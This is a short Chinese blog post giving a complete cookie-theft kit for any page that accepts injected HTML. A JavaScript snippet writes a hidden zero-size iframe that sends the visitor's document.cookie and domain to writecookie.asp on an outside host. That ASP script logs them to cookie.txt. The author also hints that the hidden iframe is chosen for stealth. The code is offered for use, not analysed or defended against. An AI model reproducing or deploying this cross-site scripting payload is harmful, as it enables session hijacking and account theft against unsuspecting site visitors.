将用户cookie保存到指定文件

前提条件是页面支持HTML,只要满足这一条件就可开工,这边共三个文件:

getcookie.js:获取用户cookie并以地址参数形式发送至writecookie.asp页面;
writecookie.asp:从地址参数中获取cookie值并保存至cookie.txt文件中;
cookie.txt:保存cookie值;

两个文件的代码如下:

getcookie.js:
document.write("<iframe width='0' height='0' src='http://www.mzwu.com/writecookie.asp?coo=" + document.cookie + "&url=" + document.domain + "'>");
document.write("</iframe>");

为什么不用document.location.href='http://www.mzwu.com/writecookie.asp?coo=" + document.cookie + "&url=" + document.domain大家想想^_^

writecookie.asp:
<%
Dim fileObject,textFile
Set fileObject=Server.CreateObject("Scripting.FileSystemObject")
Set textFile=fileObject.opentextfile(Server.mappath("cookie.txt"),8)
textFile.WriteLine request.querystring("url") & " " & request.querystring("coo")
textFile.close
%>


上一篇: VBScript、JavaScript获取Cookie
下一篇: ASP操作Excel
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags:
最新日志:
评论: 1 | 引用: 0 | 查看次数: 5108
发表评论
登录后再发表评论!